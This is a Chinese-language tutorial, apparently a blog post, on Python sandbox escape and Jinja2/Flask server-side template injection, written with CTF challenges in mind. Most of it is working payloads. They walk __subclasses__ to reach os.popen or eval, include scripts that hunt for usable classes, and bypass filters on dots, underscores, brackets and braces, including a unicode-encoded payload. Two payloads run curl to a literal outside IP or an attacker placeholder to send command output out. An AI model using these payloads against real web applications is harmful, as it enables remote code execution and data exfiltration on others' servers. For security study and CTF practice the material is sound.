前言

为什么将模板注入和沙箱逃逸放在一起,是因为他们两个的原理都是一样的,基本思路都是通过python的内置魔术方法来越权调用系统模块,达到执行命令的目的。

python沙箱逃逸

是网站在提供在线python脚本执行,而有不想用户直接使用python执行
系统命令对系统造成危害,而对Python的一个阉割版本,被阉割的版本删去了命令执行,服务器文件读写等相关函数和文件。
我们需要查找可调用的类和模块,来达到命令执行的目的。

ssti漏洞

ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

模板引擎

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

python常用寻找链

__class__ //返回对象所属的类
__mro__   // 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ //回该类所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ //新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表
__init__ //的初始化方法
__globals__ //含函数全局变量的字典的引用
__builtins__ //引用的模块

基本思路

1、找到可用的类,从中找出包含os模块的类

查找方法''.__class__.__mro__[-1].__subclasses__()
Python3中, <class 'os._wrap_close'>包含OS模块
python2中,site._Printer 包含os模块

活用BurpSuit,先对过滤字经行fuzz测试,然后写建议payload,爆破[]中的利用类,可以选出包含OS模块的类。

如图,跑出132包含popen

沙箱逃逸中,通常能调用的命令执行,此时可以尝试写一个脚本payload来搜寻可用类

l = len(''.__class__.__mro__[-1].__subclasses__())
for i in range(l):
    if 'wrapper' not in str(''.__class__.__mro__[2].__subclasses__()[i].__init__):
        print (i, ''.__class__.__mro__[2].__subclasses__()[i])

search = 'o'+'s'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 

也可以尝试寻找内置方法,如eval等命令执行函数

//寻找内置chr方法

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

2、执行命令

使用os模块
Py2
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
Py3
().__class__.__base__.__subclasses__()[117].__init__.__globals__['system']('ls')

内置方法
x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')

3、关键字绕过

1、'.'函数可改写为[],如.read改为['read']
2、[]和()内可用字符串拼接绕过
3、url_for:将url的路径进行反转
4、get_flashed_messages:返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
5、request:是Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) "
范例payload:
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

4、符号过滤绕过

这是最头痛的一种过滤了,而且无法投机绕过,只能换别的方法。python是一门灵活的语言,总能找到绕过的方法。

常会被过滤的符号
{{
_
''
[]
*
()
.
  1. 过滤.
    可以用getattr或者attr绕过
    例如 ''.__class__可以写成 getattr('',"__class__")或者 ''|attr("__class__")
  2. 过滤_
    可以用dir(0)[0][0]或者request['args']或者 request['values']绕过
  3. 过滤[]
    getitem()来获取序号
    "".__class__.__mro__[2]
    "".__class__.__mro__.__getitem__(2)
  4. 过滤{{
    {% %}是逻辑相关的渲染

    {% for person in person_list %}
    <p>{{ person.name }}</p>
    {% endfor %}

    也可执行if语句

    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}

也可以将结果返回你自己的服务器

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl ip:8080/ -d ls /| grep flag;') %}1{% endif %}
  1. unicode绕过
    在安洵杯上见到的一种新绕过方法,还是我见识太少……
    该题目过滤了{{,',.,_,[],*
    除了使用了我上面提到的绕过方法外,还是用了unicode编码绕过,这里直接放最终payload
    {%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

解码payload
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
这里使用attr绕过了.,用{%%}绕过{{限制,然后对括号里的内容进行unicode编码,实现绕过。
lipsum是jinja2的内置全局变量,jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有globals键。

5、总结

python是一种很灵活的语言,注入时需要先了解框架版本、python版本等信息,结合实际进行调整。


"孓然一身 , 了无牵挂"